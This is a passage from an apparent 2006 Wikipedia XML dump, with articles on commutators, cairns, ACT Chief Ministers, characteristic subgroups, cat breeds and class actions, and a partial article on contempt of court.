* &lt;nowiki&gt;[xy,z] = [x,z]&lt;/nowiki&gt;&lt;sup&gt;y&lt;/sup&gt; &lt;nowiki&gt;[y,z]&lt;/nowiki&gt;
* &lt;nowiki&gt;[x,yz] = [x,z] [x,y]&lt;/nowiki&gt;&lt;sup&gt;z&lt;/sup&gt;

The second identity is also known under the name ''Hall-Witt identity''. It is a group-theoretic analogue of the Jacobi-identity for the ring-theoretic commutator (see next section).

==Ring theory==

The '''commutator''' of two elements ''a'' and ''b'' of a [[ring (algebra)|rings]] or [[associative algebra]] is defined by
:[''a'', ''b''] = ''ab'' &amp;minus; ''ba''
It is zero if and only if ''a'' and ''b'' commute. In [[linear algebra]], if two matrices commute in one [[basis]] they will commute in any basis.
By using the commutator as a [[Lie bracket]], every associative algebra can be turned into a [[Lie algebra]]. The commutator of two operators defined on a [[Hilbert space]] is an important concept in [[quantum mechanics]] since it measures how well the two [[observable]]s described by the operators can be measured simultaneously. The [[uncertainty principle]] is ultimately a [[theorem]] about these commutators.

Likewise, the '''anticommutator''' is defined as ''ab'' + ''ba'', often written { ''a'', ''b'' }. See also [[Poisson algebra]].

=== Identities ===
The commutator has the following properties:

''Lie-algebra relations:''
&lt;code&gt;
*[A,B] = &amp;minus; [B,A]        
*[A,A] = 0          
*[A,[B,C]] + [B,[C,A]] + [C,[A,B]] = 0   
&lt;/code&gt;

''Additional relations:''
&lt;code&gt;
*[A,BC] = [A,B]C + B[A,C]
*[AB,C] = A[B,C] + [A,C]B
*[A,BC] = [AB,C] + [CA,B]
*[ABC,D] = AB[C,D] + A[B,D]C + [A,D]BC
&lt;/code&gt;

If ''A'' is a fixed element of a ring ''R'', the first additional relation can also be interpreted as a [[Leibniz rule]] for the map  &lt;math&gt; D_A: R \rightarrow R &lt;/math&gt; given by &lt;math&gt; B \mapsto  [A,B] \ .&lt;/math&gt; In other words: the map ''D&lt;sub&gt;A&lt;/sub&gt;'' defines a [[derivation (abstract algebra)| derivation]] on the ring ''R''.

=== See also ===
*[[Lie algebra]]
*[[Poisson bracket]]s, [[Canonical commutation relation]]

==References==
*{{cite book | last = Griffiths | first = David J. | title=Introduction to Quantum Mechanics | edition = 2nd ed. | publisher=Prentice Hall |year=2004 |id=ISBN 013805326X}}
*{{cite book | last = Liboff | first = Richard L. | title=Introductory Quantum Mechanics | publisher=Addison-Wesley | year=2002 | id=ISBN 0805387145}}

[[Category:Abstract algebra]]
[[Category:Group theory]]
[[Category:Binary operations]]

[[de:Kommutator (Mathematik)]]
[[he:קומוטטור]]
[[it:Commutatore]]
[[pl:Komutator (operatorów)]]
[[pt:Comutador (matemática)]]
[[zh:交換子]]</text>
    </revision>
  </page>
  <page>
    <title>Cairn</title>
    <id>7196</id>
    <revision>
      <id>42049273</id>
      <timestamp>2006-03-03T13:14:42Z</timestamp>
      <contributor>
        <username>Shultz III</username>
        <id>981450</id>
      </contributor>
      <text xml:space="preserve">[[Image:Cairn_3.jpg|right|thumb|200px|A cairn to mark the way along a [[glacier]].]]
[[Image:Changbai-2005.JPG|right|thumb|200px|Cairns on [[Mount Baekdu]].]]

A '''cairn''' is a manmade pile of stones. They are nearly always in uplands, on moors or mountain tops. The term tends to be used in reference to [[Scotland]], but is occasionally used elsewhere, such as the [[Peak District]] and [[Yorkshire]].

==Purpose==
They are built for several purposes:
* To mark a burial site, or in commemoration of the dead.
* To mark a path across stony or barren terrain, and across [[glacier]]s.
* To mark the summit of a mountain.
* Some are placed at regular intervals to aid navigation in bad weather.
* Some are also merely sites where a farmer has removed large amounts of stone from a field.

Additionally cairns have been used to commemorate all kinds of events from sites of battles to places where a cart has tipped over.

They vary from loose, small piles of stones to elaborate feats of engineering. In some places, [[game]]s are regularly held to find out who can build the most beautiful cairn.

==History==
The word derives from the [[Scottish Gaelic]] ''càrn'' which has a much broader meaning, and can take in various types of hill, and natural stone piles. Naturally, due to the idea's simplicity, cairns can be found all over the world in alpine or mountainous regions. They can also be found in barren [[desert]] and [[tundra]] areas.

[[Image:Cairn.JPG|left|thumb|200px|A cairn to mark the summit of a [[mountain]].]]
These present-day traditions emerged from the [[Bronze Age]] habit of putting [[cist]]s into cairns, which would be situated in conspicuous positions, often on the skyline above the village of the deceased. These cairns are still to be found, but are often much bigger than modern day ones in Scotland. It is thought that the stones were placed there for a variety of reasons, including deterring grave robbers and scavengers. A more sinister explanation is that they were to stop the dead from rising. It is noteworthy that there is a still a [[Judaism|Jewish]] tradition of placing small stones on a person's grave whenever you visit. Possibly this comes from a similar origin. [[Stupa]]s in [[India]] and [[Tibet]] etc. probably started out in a similar fashion, although they now generally contain the ashes of a [[Buddhism|Buddhist]] saint or [[lama]].

In [[Scotland]], it is traditional to carry a stone up from the bottom of the hill to place on a cairn. In such a fashion, cairns would grow ever larger. An old [[Scots Gaelic]] blessing is ''Cuiridh mi clach air do chàrn'', i.e. 'I'll put a stone on your cairn'.

In North Africa, they are sometimes called ''kerkour'', and they are also common on the [[Mediterranean]] island of [[Corsica]].

In the [[Faroe Islands]] which are plagued by frequent fogs and heavy rain, and have some of the highest seacliffs in the world, cairns are common as a means of navigation over rugged and hill terrain. In addition, in former times, most travel in the islands, was by boat, rather than foot, so upland areas were often deserted.

[[Image:Steinmaennchen01.jpg|thumb|right|200px|A collection of cairns on the island of [[Corsica]].]]

In [[North American]] [[mountain]] regions, cairns are often used to mark hiking trails or cross-country routes at or above the [[treeline]]. Most are small, a foot or less in height, but a few are built taller so as to protrude through a layer of snow. It is traditional for each person passing by a cairn to add a stone, as a small bit of maintenance to counteract the destructive effects of severe winter weather. Oftentimes the habit is to only add to the top, and to use a smaller stone than the previous top stone,  resulting in a precarious stack of tiny pebbles.

==Cairns as &quot;people&quot;==
Although the practice is not common in [[English language|English]], cairns are sometimes referred to by their anthropomorphic qualities. In [[German language|German]] and [[Dutch language|Dutch]], a cairn is known as ''Steinmann'' and ''Steenman'' respectively, meaning literally &quot;stoneman&quot;. A form of the [[Inuit]] ''[[inukshuk]]'' is also meant to represent a human figure, and is called an ''inunguak'' (&quot;imitation of a person&quot;).

[[Image:FaoreseCairn.jpg|thumb|frame|right|A cairn near [[Fuglafjørður]], [[Faroe Islands]].]]

==See also==
* [[Chambered cairn]]
* [[Cist]]
* [[Clava cairn]]
* [[Court cairn]]
* [[Inukshuk]]
* [[Kerb]]
* [[Kurgan]]
* [[Stupa]]
* [[Tumulus]]

{{commons|Cairn|Cairn}}

[[Category:Monument types]]

[[de:Steinmann]]
[[fr:Cairn]]
[[nl:Steenman]]</text>
    </revision>
  </page>
  <page>
    <title>Chief Minister of the Australian Capital Territory</title>
    <id>7197</id>
    <revision>
      <id>37717474</id>
      <timestamp>2006-02-01T19:39:15Z</timestamp>
      <contributor>
        <username>Commander Keane bot</username>
        <id>502295</id>
      </contributor>
      <minor />
      <comment>Avoiding redirects, discussion at [[WP:AWNB]]</comment>
      <text xml:space="preserve">The '''Chief Minister of the Australian Capital Territory''' is the head of government of the [[Australian Capital Territory]]. The leader of the largest party in the [[Australian Capital Territory Legislative Assembly]] usually takes on the role. Unlike in other states and territories, the Chief Minister of the ACT is not nominally appointed by an Administrator or Vice-Regal, but elected directly by the parliament. Their role is roughly equivalent to that of the [[Premiers of the Australian states|Premiers]] of the states of [[Australia]].

The current Chief Minister of the ACT is [[Jon Stanhope]], and the Deputy Chief Minister is [[Ted Quinlan]].

==Chief Ministers of the Australian Capital Territory==

{| border=&quot;1&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;border:1px solid #aaa; border-collapse:collapse&quot;
|- bgcolor=&quot;#cccccc&quot;
! '''Chief Minister'''
! '''Party'''
! '''Period in office'''
|- 
|| [[Rosemary Follett]] || [[Australian Labor Party|ALP]] || [[May 8]], [[1989]]
|-
|| [[Trevor Kaine]] || [[Liberal Party of Australia|Liberal]] || [[December 5]], [[1989]]
|-
|| [[Rosemary Follett]] || ALP || [[June 6]], [[1991]]
|-
|| [[Kate Carnell]] || Liberal || [[March 2]], [[1995]]
|-
|| [[Gary Humphries]] || Liberal || [[October 18]], [[2000]]
|-
|| [[Jon Stanhope]] || ALP || [[November 5]], [[2001]]
|-
|}

==See also==
*[[States and territories of Australia]] (includes some information about the role of the Chief Minister)

[[Category:Chief Ministers of the Australian Capital Territory|*]]</text>
    </revision>
  </page>
  <page>
    <title>Characteristic subgroup</title>
    <id>7198</id>
    <revision>
      <id>27159371</id>
      <timestamp>2005-11-02T12:35:48Z</timestamp>
      <contributor>
        <username>Patrick</username>
        <id>4388</id>
      </contributor>
      <minor />
      <text xml:space="preserve">In [[mathematics]], a '''characteristic subgroup''' of a [[group (mathematics)|group]] ''G'' is a [[subgroup]] ''H'' that is invariant under each [[automorphism]] of ''G''. That is, if &amp;phi; : ''G'' &amp;rarr; ''G'' is a group automorphism (a [[bijective]] [[group homomorphism|homomorphism]] from the group ''G'' to itself), then for every ''x'' in ''H'' we have &amp;phi;(''x'') &amp;isin; ''H'':
:&lt;math&gt;\varphi(H)\sube H.&lt;/math&gt;
It follows that
:&lt;math&gt;\varphi(H) = H.&lt;/math&gt;
In symbols, one denotes the fact that ''H'' is a characteristic subgroup of ''G'' by
:&lt;math&gt;H\,\mathrm{char}\,G.&lt;/math&gt;

In particular, characteristic subgroups are invariant under [[inner automorphism]]s, so they are [[normal subgroup]]s. However, the converse is not true; for example, consider the [[Klein group]] ''V''&lt;sub&gt;4&lt;/sub&gt;. Every subgroup of this group is normal; but all 6 permutations of the 3 non-identity elements are automorphisms, so the 3 subgroups of order 2 are not characteristic.

On the other hand, if ''H'' is a normal subgroup of ''G'', and there are no other subgroups of the same order, then ''H'' must be characteristic; since automorphisms are order-preserving.

A related concept is that of a '''distinguished subgroup'''. In this case the subgroup ''H'' is invariant under the applications of [[surjective]] [[endomorphism]]s. For a finite group this is the same, because surjectivity implies injectivity, but not for an infinite group: a surjective endomorphism is not necessarily an automorphism.

For an even stronger constraint, a '''fully characteristic subgroup''' (also called a ''fully invariant subgroup'') ''H'' of a group ''G'' is a group remaining invariant under every endomorphism of ''G''; in other words, if ''f'' : ''G'' &amp;rarr; ''G'' is any homomorphism, then ''f''(''H'') is a subgroup of ''H''. 

Every fully characteristic subgroup is a characteristic subgroup; but a characteristic subgroup need not be fully characteristic. The [[center of a group]] is always a distinguished subgroup, but not always fully characteristic.

Example:

Consider the group Dih&lt;sub&gt;3&lt;/sub&gt; &amp;times; Z&lt;sub&gt;2&lt;/sub&gt; (the group of order 12 which is the direct product of the [[dihedral group]] of order 6 and a [[cyclic group]] of order 2).

Writing the elements of  Dih&lt;sub&gt;3&lt;/sub&gt; as permutations, with identity permutation e, we can map:
*the identity, ((123),0), and ((132),0) to the identity
*(e,1), ((123),1), and ((132),1) to ((12),0)
*((12),0), ((13),0), and ((23),0) to (e,1)
*((12),1), ((13),1), and ((23),1) to ((12),1)
This is an endomorphism. However, the center {identity, (e,1)} is mapped to {identity, ((12),0)}, so it is not a fully characteristic subgroup.

The [[derived subgroup]] (or commutator subgroup) of a group is always a fully characteristic subgroup, as is the [[torsion subgroup]] of an [[abelian group]].

The property of being characteristic or fully characteristic is [[transitivity (mathematics)|transitive]]; if ''H'' is a (fully) characteristic subgroup of ''K'', and ''K'' is a (fully) characteristic subgroup of ''G'', then ''H'' is a (fully) characteristic subgroup of ''G''.

Moreover, while it is not true that every normal subgroup of a normal subgroup is normal,
it is true that every characteristic subgroup of a normal subgroup is normal. Similarly,
while it is not true that every distinguished subgroup of a distinguished
subgroup is distinguished, it is true that every fully characteristic subgroup of a distinguished subgroup is distinguished.

The relationship amongst these subgroup properties can be expressed as:

subgroup &amp;larr; normal subgroup &amp;larr; characteristic subgroup &amp;larr; distinguished subgroup &amp;larr; fully characteristic subgroup

See also: [[characteristically simple group]].

[[Category:Group theory]]
[[Category:Subgroup properties]]
[[de:Charakteristische Untergruppe]]</text>
    </revision>
  </page>
  <page>
    <title>List of cat breeds</title>
    <id>7199</id>
    <revision>
      <id>41774955</id>
      <timestamp>2006-03-01T17:36:57Z</timestamp>
      <contributor>
        <username>Gwernol</username>
        <id>266416</id>
      </contributor>
      <comment>Revert to revision 41133806 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">The following list of [[cat breed]]s uses a wide interpretation of the word &quot;breed&quot;. Breeds listed here may be traditional breeds with long histories as registered breeds, rare breeds with their own registries, or new breeds that may still be under development. Please see individual articles for more information. See also [[breed]].

Cats can also be grouped by [[:Category:Cat types|type]] according to appearance or function. 

=== Longhair and semi-longhair  ===
*[[American Bobtail]]
*[[American Keuda]]
*[[Angora (cat)|Angora]] (British Angora) ''renamed Oriental Longhair in 2002''
*[[Asian Semi-longhair]] (or Tiffanie)
*[[Balinese (cat)|Balinese]]
*[[Birman]]
*[[British Longhair]]
*[[Chantilly/Tiffany cat]]
*[[Cherubim (cat)|Cherubim]] (or Honeybear)
*[[Colourpoint Longhair]]
*[[Exotic cat]]
*[[Himalayan (cat)|Himalayan]]
*[[Javanese (cat)|Javanese]]
*[[Maine Coon]]
*[[Nebelung]]
*[[Neva Masquerade]]
*[[Norwegian Forest Cat]]
*[[Oriental Longhair]]
*[[Persian (cat)|Persian]]
*[[Ragdoll]] (and Ragamuffin)
*[[Siberian (cat)|Siberian]]
*[[Snow Cat]]
*[[Somali (cat)|Somali]]
*[[Sterling (cat)|Sterling]]
*[[Turkish Van]]
*[[Turkish Angora]]
*[[York Chocolate cat]]

=== Shorthair ===
*[[Abyssinian (cat)|Abyssinian]]
*[[American Shorthair]]
*[[Antipodean (cat)|Antipodean]] (New Zealand Shorthair)
*[[Asian Shorthair]]
*[[Australian Mist]] (or Spotted Mist)
*[[Bahraini Dilmun Cat]]
*[[Bombay (cat)|Bombay]]
*[[British Shorthair]]
*[[Brazilian Shorthair]]
*[[Burmese (cat)|Burmese]]
*[[Burmilla]]
*[[Chartreux]]
*[[Colorpoint Shorthair]]
*[[Cornish Rex]]
*[[Egyptian Mau]]
*[[European Shorthair]]
*[[Havana Brown]]
*[[Jungala]]
*[[Khao Manee]]
*[[Korat]]
*[[Kucing Malaysia]]
*[[Malayan (cat)|Malayan]]
*[[Oriental Shorthair]]
*[[Russian Blue]]
*[[Savannah (Cat)|Savannah]]
*[[Seychellois]]
*[[Siamese (cat)|Siamese]] (and Traditional Siamese or Applehead Siamese)
*[[Templecat]]
*[[Tonkinese (cat)|Tonkinese]]

=== Breeds with unusual physical features ===
*[[American Bobtail]]
*[[American Curl]]
*[[American Ringtail]]
*[[American Wirehair]]
*[[Bengal cat]]
*[[California Spangled Cat]]
*[[Chausie]]
*[[Cornish Rex]]
*[[Cymric (cat)|Cymric]]
*[[Desert Lynx]]
*[[Devon Rex]]
*[[Don Sphynx]]
*[[Foldex Cat]]
*[[German Rex]]
*[[Japanese Bobtail (cat)|Japanese Bobtail]]
*[[Kurilian Bobtail Longhair]]
*[[Kurilian Bobtail Shorthair]]
*[[LaPerm]]
*[[Manx (cat)|Manx]]
*[[Mojave Spotted]]
*[[Munchkin (cat)|Munchkin]]
*[[Ocicat]]
*[[Ojos Azules]]
*[[Peterbald]]
*[[Pixie-bob]]
*[[Savannah (cat)|Savannah]]
*[[Selkirk Rex]]
*[[Serengeti cat | Serengeti]]
*[[Singapura (cat)|Singapura]]
*[[Sphynx (cat)|Sphynx]]
*[[Scottish Fold]]
*[[Snowshoe (cat)|Snowshoe]]
*[[Sokoke]]
*[[Toyger]]
*[[Ussuri (cat)|Ussuri]]

==External References==
A worldwide list of all known recognised and unrecognised cat breeds, strains and varieties, including extinct and experimental breeds is stored at [http://www.messybeast.com/breeds.htm Cat Breeds] with recognition/discovery dates at [http://www.messybeast.com/breed-dates.htm Breeds Timeline].

[[Category:Cats]]
[[Category:Cat breeds| ]][[Category:Lists of animals|Cats]]

[[cs:Plemena koček]]
[[de:Liste der Katzenrassen]]
[[he:קטגוריה:גזעי חתולים]]
[[hu:Macskafajták listája]]
[[nl:Lijst van kattenrassen]]
[[sk:Plemená mačiek]]
[[fi:Luettelo kissaroduista]]
[[sv:Lista över kattraser]]</text>
    </revision>
  </page>
  <page>
    <title>Class action</title>
    <id>7200</id>
    <revision>
      <id>41371907</id>
      <timestamp>2006-02-26T22:28:53Z</timestamp>
      <contributor>
        <username>Tawker</username>
        <id>212671</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/80.95.106.173|80.95.106.173]] ([[User talk:80.95.106.173|Talk]]) to last version by Rich Farmbrough</comment>
      <text xml:space="preserve">''This article is about the legal term. For names of various art works, see [[Class Action]].''
 
In [[law]], a '''class action''' is an equitable procedural device used in [[litigation]] for determining the rights of and remedies, if any, for large numbers of people whose cases involve common questions of law and fact. Traditionally class actions have been used to litigate antitrust and securities lawsuits, but more recently have been used for a wide range of legal disputes that involve a large number of injured parties. 

Recently, the United States Congress reviewed the use of class actions in the American court system and found  that: 
&lt;blockquote&gt;Class-action lawsuits are an important and valuable part of the legal system when they permit the fair and efficient resolution of legitimate claims of numerous parties by allowing the claims to be aggregated into a single action against a defendant that has allegedly caused harm. &lt;/blockquote&gt;
See, Section 2(a) of the Class Action Fairness Act of 2005. 


==Class actions in the United States==

===Federal class actions===


In the United States federal courts, class actions are governed by Rule 23 of the [[Federal Rules of Civil Procedure]].  

Class action lawsuits may be brought in [[United States district court|Federal court]] if the case involves issues that affect potential class members in different states or has a nexus with federal law.  However, such class action suits must have a commonality of issues across state lines.   This may be difficult as the [[Civil law (private law)|civil law]] in the various states has significant differences and thus each state's set of claims may have to be handled separately or through the device of [[multi-district litigation]] (MDL).  It is also possible to bring class action lawsuits under state law, and in some cases the court may extend its jurisdiction to all the members of the class both within the state and without (even internationally) as the key element is the jurisdiction that the court has over the defendant.  The [[Class Action Fairness Act of 2005]]  permits defendants to remove cases to federal court if plaintiffs ask state courts to decide new class actions across state lines. This federal law was passed, in part, to “assure fair and prompt recoveries of legitimate claims.” Section 2(b)(1).

The procedure for filing a class action is to file suit with one or several named plaintiffs on behalf of a putative class. The putative class must consist of a group of individuals or business entities that have suffered a common wrong. Usually, these kinds of cases are connected to some standard action on the part of a business, or some particular product defect or policy that was applied to all potential class members in a uniform manner. After the summons and complaint is filed, the plaintiff usually has to bring a motion (sometimes at the same time as filing the summons and complaint) to have the class certified. In some jurisdictions class certification may require additional [[discovery (law)|discovery]] in order to determine if the proposed class is sufficiently cohesive. 

Upon the motion to certify the class, the defendants may object to whether the issues are appropriately handled as class litigation, the named plaintiffs as insufficiently representative of the class, and their relationship with the law firm or firms handling the case.  The court will also examine the ability of the firm to prosecute the claim for the plaintiffs, and their resources for dealing with class actions; the court may, as [[due process]] requires, have complex notices be sent, published, or broadcast to the public, in any place where the class members can be found. 

As part of this notice procedure, there may have to be several notices, first a notice giving class members the opportunity to opt out of the class, i.e. if individuals wish to proceed with their own litigation they are entitled to do so, only to the extent that they give timely notice to the class counsel or the court that they are opting out. Second, if there is a settlement proposal, the court will usually direct the class counsel to send a settlement notice to all the members of the certified class and all the members of any subclasses (that might have slightly different but uniform claims), informing them of the settlement offer being made by the defendants, and the fact that the named plaintiffs have agreed to accept the settlement. Usually, the court will also state the legal fees being paid to the class counsel as part of the settlement, which may be considerable, making class actions appealing to many plaintiff law firms.

In federal [[civil procedure]] law, which has generally been accepted by most states (through adoption of rules paralleling the FRCP), the class action must have certain definite characteristics: '''(1)''' the class must be so large as to make individual suits impractical, '''(2)''' there must be legal or factual claims in common '''(3)''' the claims or defences must be typical of the plaintiffs or defendants, and '''(4)''' the representative parties must adequately protect the interests of the class.

===State class actions===

Since 1938, many states have adopted rules similar to the FRCP.  However, some states like [[California]] have homegrown civil procedure codes which they have been reluctant to abandon.  The law of class actions in California developed in a rather chaotic fashion through judicial glosses on vaguely worded statutes (there are four key ones), and has never been cleaned up (in the way that the FRCP cleaned up the thicket of federal procedural law).  As a result, there are entire treatises dedicated to the topic.

==Pros and cons of class actions==
===Advantages of class actions===

Depending on the case, a class action may offer a number of advantages.  Each of these advantages essentially stems from the fact that a class action aggregates a large number of individualized claims into one representational [[lawsuit]].  Although aggregation creates the potential for harm, it also creates potential benefits.

First, aggregation may increase the efficiency of the legal process.  In cases with common questions of law and fact, aggregation of claims into a class action may avoid the necessity of repeating &quot;days of the same [[witnesses]], [[exhibits]] and issues from [[trial (law)|trial]] to trial.&quot;  ''Jenkins v. Raymark Indus., Inc.'', 782 F.2d 468, 473 (5th Cir. 1986) (granting certification of a class action involving [[asbestos]]).  

Second, a class action overcomes &quot;the problem that small recoveries do not provide the incentive for any individual to bring a solo action prosecuting his or her rights.&quot;  ''Amchem Prods., Inc. v. Windsor'', 521 U.S. 591, 617 (1997) (quoting ''Mace v. Van Ru Credit Corp.'', 109 F.3d 388, 344 (7th Cir. 1997)).  &quot;A class action solves this problem by aggregating the relatively paltry potential recoveries into something worth someone’s (usually an attorney’s) labor.&quot;  ''Amchem Prods., Inc.'', 521 U.S. at 617 (quoting ''Mace'', 109 F.3d at 344).  In other words, a class action ensures that a [[defendant]] who engages in widespread harm -- but does so minimally against each individual [[plaintiff]] -- must compensate those individuals for their injuries.  For example, thousands of shareholders of a public company may have losses too small to justify  separate lawsuits, but a class action can be brought efficiently on behalf of all shareholders.

Third, in &quot;limited fund&quot; cases, a class action ensures that all [[plaintiffs]] receive relief  and that early-filing [[plaintiffs]] do not raid the fund (''i.e.'', the [[defendant]]) of all its [[assets]] before other [[plaintiffs]] may be compensated.  ''See Ortiz v. Fibreboard Corp.'', 527 U.S. 815 (1999).  A class action in such a situation centralizes all claims into one [[venue]] where a court can equitably divide the assets amongst all the [[plaintiffs]] if they win the case.

Finally, a class action avoids the situation where different court rulings could create &quot;incompatible standards&quot; of conduct for the defendant to follow.  For example, a court might certify a case for class treatment where a number of individual bond-holders sue to determine whether they may convert their [[bonds]] to [[common stock]].  Refusing to litigate the case in one [[trial (law)|trial]] could result in different outcomes and inconsistent standards of conduct for the [[defendant]] [[corporation]].  Thus, courts will generally allow a class action in such a situation.  ''See, e.g., Van Gemert v. Boeing Co.'', 259 F. Supp. 125 (S.D.N.Y. 1966).

Whether a class action is superior to individual [[litigation]] depends on the case.  The Advisory Committee Note to Rule 23, for example, states that [[mass torts]] are ordinarily &quot;not appropriate&quot; for class treatment.  Class treatment generally does little to improve the efficiency of a [[mass tort]] because the claims almost always involve individualized issues of law and fact that will have to be re-tried on an individual basis.  ''See Castano v. Am. Tobacco Co.'', 84 F.3d 734 (5th Cir. 1996) (rejecting nationwide class action against tobacco companies).  [[Mass torts]] also involve high individual damage awards; thus, the absence of class treatment will not impede the ability of individual claimants to seek justice.  ''See id.''  Other cases, however, may be more conducive to class treatment.

===Criticisms of class actions===

There are at least two basic criticisms of allowing class action lawsuits. One criticism is that it encourages attorneys to bring a class actions on behalf of everyone injured by a wrongful act and then bind everyone with an unreasonably low [[settlement (law)|settlement]] just to quickly obtain large attorney fees. These are sometimes referred to as ''coupon settlements''.  These coupon settlements (which usually allow the plaintiffs to receive minimal benefit such as a small check or a coupon for future services or products with the defendant company) are also a way for a defendant to forestall major liability by precluding a large number of people from litigating their claims separately, to recover reasonable compensation for the damages.

Others point out there are at least three protections against the class attorney and defendant entering into a low [[Collusion|collusive]] settlement that benefits only the class action attorney and the defendant:

1) The court must approve any settlement and class members and their attorneys have the right to argue against a settlement as being too low;

2) Normally the court will allow class members to &quot;opt-out&quot; of the settlement if they so choose; and

3) Collusive settlements are illegal.

A second criticism complains that this mechanism is a form of taxation upon large business corporations that prevents them from aggressively pursuing innovation. For example, they may argue that although primitive self-driving cars have already been developed, no rational automobile manufacturer will sell such cars in the open market until their artificial intelligence is perfect because they are terrified of being sued in a class action by those injured as a result of the slightest defect in the car's software. 

Others respond to this criticism by pointing out that any civil liability allowing damages for those injured by defective products could be viewed as a form of &quot;taxation.&quot; A class action only provides a method of requiring the wrongdoer to compensate those it has injured by allowing those injured to bring one large lawsuit rather than by bringing many small lawsuits. If society wanted to encourage innovation by manufactures of self-driving, but not fully proven technologies, it could do so by directly immunizing all new technology from civil lawsuits for damages, rather than stopping all class action lawsuits - a strategy that the gun industry, for example, has successfully pursued in the [[U.S. Congress]].

Many well-financed defendants dislike the class action mechanism because it deprives them of the opportunity to direct their superior financial resources against each injured plaintiff, one-at-a-time, in a divide and conquer strategy.

==Defendant class action==
Although normally plaintiffs are the class, defendent class actions are also possible.  For example, in 2005, the Archidiocese of [[Portland]] was sued as part of the Catholic priest sex-abuse scandal.  All parishioners of the Archdiocese's churches were cited as a defendent class.  This was done to include their assets (local churches) in any settlement.

==Availability==
Many jurisdictions (for example: [[Germany]], [[Austria]]) do not provide Class Action lawsuits.

==See also==
*''[[Dukes v. Wal-Mart]]'' (the largest class-action lawsuit to date)
* [[Wikipedia Class Action]]

==External links==
*[http://trialandappeal.blogspot.com/2005/11/5-million-class-action-controversy-go.html&quot;$5 million Class Action Controversy?--Go to Federal Court&quot;], Court Watch, [[November 8]] [[2005]] (Also, links to the Act and President Bush's statement when signed into law.)
*[http://www.pointoflaw.com/classactions/overview.php James Copland, ''Point of Law'', &quot;Class Actions&quot;]
*Michael S. Greve, &quot;Harm-Less Lawsuits?  What's Wrong with Consumer Class Actions&quot; [http://www.aei.org/research/liability/books/bookID.814,projectID.23/book_detail.asp]
*[[Richard Epstein]], &quot;Class Actions: The Need for a Hard Second Look&quot; [http://www.manhattan-institute.org/html/cjr_4.htm]
*[http://www.definitions-legal.com/structured-settlements/structured-settlement.htm Structured Settlements] -- Information

*An introductory legal text:  [http://www.misko.com/2002/MiskoonClassActions.pdf  '''Misko on Class Actions'''] (pdf file 7.2 MB). or [http://www.misko.com/2002/MiskoonClassActions2002.pdf  '''Misko on Class Actions with 400 pages worth of appendices''']

*[http://www.wikipediaclassaction.org/ The Wikipedia Class Action Lawsuit]

[[Category: Civil law]]

[[de:Sammelklage]]
[[fr:Recours collectif]]
[[no:Gruppesøksmål]]</text>
    </revision>
  </page>
  <page>
    <title>Contempt of court</title>
    <id>7201</id>
    <revision>
      <id>40242016</id>
      <timestamp>2006-02-19T04:45:57Z</timestamp>
      <contributor>
        <username>Sommers</username>
        <id>625266</id>
      </contributor>
      <minor />
      <comment>/* Criminal contempt of court */ Punctuation</comment>
      <text xml:space="preserve">'''Contempt of court''' is a court ruling which, in the context of a court trial or hearing, deems an individual as holding [[contempt]] for the court, its process, and its invested powers. Often stated simply as &quot;in contempt,&quot; it is the highest remedy of a judge to impose sanctions on an individual for acts which wantonly or excessively disrupt the normal process of a court hearing.

A finding of contempt of court may result from a failure to obey a lawful order of a [[court]], showing disrespect for the [[judge]], disruption of the proceedings through poor behavior, or publication of material deemed likely to jeopardize a fair trial.  A judge may impose sanctions such as a [[fine]] or [[prison|jail]]  for someone found guilty of contempt of court.  Typically judges in [[common law]] systems have more extensive power to declare someone in contempt than judges in [[civil law (legal system)|civil law]] systems.

==England and Wales==
In [[England|English]] law (a [[common law]] jurisdiction) the law on contempt is partly set out in case law, and partly specified in the [[Contempt of Court Act 1981]]. Contempt may be a [[criminal]] or [[civil]] offence.

All courts are protected by the law on contempt, but only [[Court of record|courts of record]] have a power at [[common law]] to punish for contempt.

===Criminal contempt of court===

The [[Crown Court]] is a court of record under [[Supreme Court Act 1981]] and accordingly has power to punish for contempt of its own motion. The Divisional Court has stated that this power applies in three circumstances:

# Contempt &quot;in the face of the court&quot; (not to be taken literally—the judge does not need to see it, provided it took place within the court precincts or relates to a case currently before that court); 
# Disobedience of a court order; and
# Breaches of undertakings to the court.

Where it is necessary to act quickly the judge (even the trial judge) may act to sentence for contempt. 

Where it is not necessary to be so urgent, or where indirect contempt has taken place the [[Attorney General]] can intervene and the [[Crown Prosecution Service]] will institute criminal proceedings on his behalf before the Divisional Court of the [[Queen's Bench Division]] of the [[High Court of Justice of England and Wales]] (Criminal Division).

[[Magistrates]] Courts are not courts of record, but nonetheless have powers granted under the Contempt of Court Act 1981. They may detain any person who insults the court until the end of the session, and imprison them for up to a month, and fine them up to £1500.

It is contempt of court to bring a tape recorder or camera of any sort into an English court without the consent of the court.

It is not contempt of court (under section 10 of the Act) for a journalist to refuse to disclose his sources, unless the court has considered the evidence available and determined that the information is &quot;necessary in the interests of justice or national security or for the prevention of disorder or crime.&quot;

===Strict liability contempt===

Under the Contempt of Court Act 1981 it is criminal contempt of court to publish anything which creates a real risk that the course of justice in proceedings may be seriously impaired. It only applies where proceedings are active, and the [[Attorney-General]] has issued guidance as to when be believes this to be the case, and there is also statutory guidance. The clause prevents the newspapers and media from publishing material that is too extreme or sensationalist about a criminal case until the trial is over and the jury has given its verdict. 

Section 2 of the Act limits the [[common law]] presumption that conduct may be treated as contempt regardless of intention: now only cases where there is a substantial risk of serious prejudice to a trial are affected.

===Civil contempt===

In civil proceedings there are two main ways in which contempt is committed:

# Failure to attend at court despite a [[subpoena]] requiring attendance. In respect of the High Court, historically a [[writ]] of [[Latitat]] would have been issued, but now a [[Bench Warrant]] issued, authorising [[The Tipstaff]] to arrange for the arrest of the individual, and imprisonment until the date and time the court appoints to next sit. In practice a grovelling letter of apology to the court is sufficient to ward off this possibility, and in any event the warrant is generally 'backed for bail' i.e. [[bail]] will be granted once the arrest has been made and a location where the person can be found in future established.
# Failure to comply with a court order. A copy of the order, with a &quot;penal notice&quot; i.e. notice informing the recipient that if they do not comply they are subject to imprisonment is served on the person concerned. If, after that, they breach the order, proceedings can be started and in theory the person involved can be sent to prison. In practice this never happens as the cost on the claiming of bringing these proceedings is immense and in practice imprisonment is never ordered as an apology or fine are usually considered appropriate.

==United States==
Under American jurisprudence, acts of contempt are divided into two types. 

